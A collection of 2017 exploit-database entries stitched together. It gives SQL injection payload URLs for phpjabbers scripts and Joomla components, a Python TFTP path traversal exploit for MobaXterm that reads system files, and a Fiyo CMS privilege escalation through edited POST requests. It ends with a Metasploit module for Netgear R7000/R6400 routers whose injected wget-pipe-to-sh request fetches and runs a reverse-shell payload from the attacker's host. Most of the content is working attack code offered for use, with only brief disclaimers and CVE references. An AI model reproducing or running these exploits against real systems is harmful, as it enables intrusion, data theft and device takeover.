# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/yacht-listing-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=yls&front=1&lid=1
# Version: 2.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/front.php?controller=pjListings&action=pjActionIndex&listing_search=1&min_year=1948[SQL]&max_year=2017[SQL]&min_loa=6[SQL]&max_loa=20[SQL]&min_length=25[SQL]&max_length=150[SQL]&min_beam=20[SQL]&max_beam=150[SQL]
# Etc..
# # # # #
# # # # #
# Exploit Title: Yellow Pages Script v3.2 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/yellow-pages-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=yps&front=1&lid=1
# Version: 3.2
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjListings&action=pjActionIndex&category_id=[SQL]
# Etc..
# # # # #
# # # # #
# Exploit Title: PHP Forum Script v3.0 - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.phpjabbers.com/
# Software: https://www.phpjabbers.com/php-forum-script/
# Demo: http://demo.phpjabbers.com/index.php?demo=pfs&front=1&lid=1
# Version: 3.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/preview.php?controller=pjLoad&action=pjActionIndex&question_search=1&column=[SQL]created&direction=DESC
# Etc..
# # # # #
[+] Credits: John Page AKA hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/MOBAXTERM-TFTP-PATH-TRAVERSAL-REMOTE-FILE-ACCESS.txt
[+] ISR: ApparitionSec
Vendor:
=====================
mobaxterm.mobatek.net
Product:
===============================
MobaXterm Personal Edition v9.4
Enhanced terminal for Windows with X11 server, tabbed SSH client, network tools and much more.
Vulnerability Type:
=====================================
Path Traversal Remote File Disclosure
CVE Reference:
==============
CVE-2017-6805
Security Issue:
================
Remote attackers can use UDP socket connection to TFTP server port 69 and send Read request, to retrieve otherwise protected files using
directory traversal attacks e.g. ../../../../Windows/system.ini
Start MobaXterm TFTP server which listens on default TFTP port 69.
c:\>tftp -i 127.0.0.1 GET ../../../../Windows/system.ini
Transfer successful: 219 bytes in 1 second(s), 219 bytes/s
c:\xampp\htdocs>type system.ini
; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON
[drivers]
wave=mmdrv.dll
timer=timer.drv
[mci]
Victim Data located on: 127.0.0.1
POC URL:
=============================
https://vimeo.com/207516364
Exploit:
==========
import sys,socket
print 'MobaXterm TFTP Directory Traversal 0day Exploit'
print 'Read Windows/system.ini'
print 'hyp3rlinx \n'
HOST = raw_input("[IP]>")
FILE = 'Windows/system.ini'
PORT = 69
PAYLOAD = "\x00\x01" #TFTP Read
PAYLOAD += "../" * 4 + FILE + "\x00" #Read system.ini using directory traversal
PAYLOAD += "netascii\x00" #TFTP Type
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(PAYLOAD, (HOST, PORT))
out = s.recv(1024)
s.close()
print "Victim Data located on : %s " %(HOST)
print out.strip()
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
=============================
Vendor Notification: No Reply
March 10, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
# # # # #
# Exploit Title: Mirage – Fancy Clone - SQL Injection
# Google Dork: N/A
# Date: 11.03.2017
# Vendor Homepage: https://www.zoplay.com/
# Software: https://www.zoplay.com/web/multi-vendor-clone-website/
# Demo: http://fancyclone.zoplay.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail: ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/shopby/IhsanSencan?c=[SQL]
# Duplicate entry 'fancyclone
# Etc..
# # # # #
# Exploit Title: Fiyo CMS 2.0.6.1 allows remote authenticated users to gain privileges via a modified level parameter
# Google Dork: no
# Date: 11-03-2017
# Exploit Author: @rungga_reksya, @dvnrcy
# Vendor Homepage: http://www.fiyo.org
# Software Link: https://sourceforge.net/projects/fiyo-cms
# Version: 2.0.6.1
# Tested on: Windows Server 2012 Datacenter Evaluation
# CVE : CVE-2017-6823
I. Background:
Fiyo CMS di kembangkan dan dibuat pertama kali oleh mantan seorang pelajar SMK yang pada saat itu bersekolah di SMK 10 Semarang jurusan RPL. Pada zaman itu namanya bukan Fiyo CMS melainkan Sirion yang merupakan akronim dari Site Administration.
II. Description:
Privilege Escalation (Manipulation of User Group) Vulnerability on Fiyo CMS 2.0.6.1
III. Exploit:
Fiyo CMS have five user group (super administrator, administrator, editor, publisher, member) and only three group can access backend page of admin (super administrator, administrator and editor).
If we login as super administrator and access edit profile menu, check source code (ctrl+u) from your browser and we get level privilege:
super administrator = 1
administrator = 2
editor = 3
publisher = 4
member = 5
Ok, prepare your tool like burpsuite to intercept traffic. in this case I login as editor and I want manipulation of editor group (level=3) to be super administrator group (level=1). The first you access on menu “Edit Profile” and click “Simpan (Save)”, and then change like this on your burpsuite intercept menu:
Original:
POST /fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2/fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3
Cookie: c40cded1c770e0ead20a6bcbf9a26edf=hplreme8us3iem3jg36km36ob5; PHPSESSID=dcj4n83jd2tdrjs32fo6gm9eq7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
edit=Next&id=3&z=editor&user=editor&z=editor&x=&password=editor&kpassword=editor&email=editor%40localhost.com&level=3&name=editor&bio=
Manipulation (Change Level=3 to be Level=1):
POST /fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3 HTTP/1.1
Host: 192.168.1.2
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.2/fiyo_cms_2.0.6.1/dapur/?app=user&act=edit&id=3
Cookie: c40cded1c770e0ead20a6bcbf9a26edf=hplreme8us3iem3jg36km36ob5; PHPSESSID=dcj4n83jd2tdrjs32fo6gm9eq7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
edit=Next&id=3&z=editor&user=editor&z=editor&x=&password=editor&kpassword=editor&email=editor%40localhost.com&level=1&name=editor&bio=
Yeaaah, now editor become super administrator privilege ^_^ and The level of administrator can be super administrator too.
IV. Thanks to:
- Alloh SWT
- MyBoboboy
- MII CAS
- Komunitas IT Auditor & IT Security Kaskus
Refer:
https://www.owasp.org/index.php/Testing_for_Privilege_escalation_(OTG-AUTHZ-003)
# # # # #
# Exploit Title: Joomla! Component Advertisement Board v3.0.4 - SQL Injection
# Google Dork: inurl:index.php?option=com_advertisementboard
# Date: 14.03.2017
# Vendor Homepage: http://ordasoft.com/
# Software : https://extensions.joomla.org/extensions/extension/ads-a-affiliates/classified-ads/advertisement-board/
# Demo: http://ordasvit.com/joomla-adboard/
# Version: 3.0.4
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php/153/show_alone_advertisement/7?task=show_alone_advertisement&id=[SQL]
# +/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,database())),0)--+-
# # # # #
# # # # #
# Exploit Title: Joomla! Component Simple Membership v3.3.3 - SQL Injection
# Google Dork: inurl:index.php?option=com_simplemembership
# Date: 14.03.2017
# Vendor Homepage: http://ordasoft.com/
# Software : https://extensions.joomla.org/extensions/extension/e-commerce/membership-a-subscriptions/simplemembership/
# Demo: http://ordasvit.com/simplemembership/
# Version: 3.3.3
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?option=com_simplemembership&Itemid=1&task=showUsersProfile&userId=[SQL]
# +/*!50000Procedure*/+/*!50000Analyse*/+(extractvalue(0,/*!50000concat*/(0x27,0x496873616e2053656e63616e,0x3a,database())),0)--+-
# # # # #
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => "Netgear R7000 and R6400 cgi-bin Command Injection",
'Description' => %q{
This module exploits an arbitrary command injection vulnerability in
Netgear R7000 and R6400 router firmware version 1.0.7.2_1.1.93 and possibly earlier.
},
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Author' => ['thecarterb', 'Acew0rm'],
'DefaultTarget' => 0,
'Privileged' => true,
'Arch' => ARCH_ARMLE,
'Targets' => [
[ 'Automatic Target', { } ]
],
'References' =>
[
[ 'EDB', '40889'],
[ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=305'],
[ 'URL', 'https://www.kb.cert.org/vuls/id/582384'],
[ 'URL', 'http://kb.netgear.com/000036386/CVE-2016-582384'],
[ 'CVE', '2016-6277']
],
'DisclosureDate' => 'Dec 06 2016',
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/armle/mettle_reverse_tcp'
}
))
register_options(
[
Opt::RPORT(80)
], self.class)
deregister_options('URIPATH')
end
def scrape(text, start_trig, end_trig)
text[/#{start_trig}(.*?)#{end_trig}/m, 1]
end
# Requests the login page which discloses the hardware, if it's an R7000 or R6400, return Detected
def check
res = send_request_cgi({'uri'=>'/'})
if res.nil?
fail_with(Failure::Unreachable, 'Connection timed out.')
end
# Checks for the `WWW-Authenticate` header in the response
if res.headers["WWW-Authenticate"]
data = res.to_s
marker_one = "Basic realm=\"NETGEAR "
marker_two = "\""
model = scrape(data, marker_one, marker_two)
vprint_status("Router is a NETGEAR router (#{model})")
if model == 'R7000' || model == 'R6400'
print_good("Router may be vulnerable (NETGEAR #{model})")
return CheckCode::Detected
else
return CheckCode::Safe
end
else
print_error('Router is not a NETGEAR router')
return CheckCode::Safe
end
end
def exploit
return if check == CheckCode::Safe
@cmdstager = generate_cmdstager(flavor: :wget, 'Path' => '/').join(';')
send_request_cgi(
'method' => 'GET',
'uri' => "/cgi-bin/;wget$IFS-O-$IFS'#{srvhost_addr}:#{srvport}'|sh"
)
end
# Return CmdStager on first request, payload on second
def on_request_uri(cli, request)
if @cmdstager
send_response(cli, @cmdstager)
@cmdstager = nil
else
super
end
end
end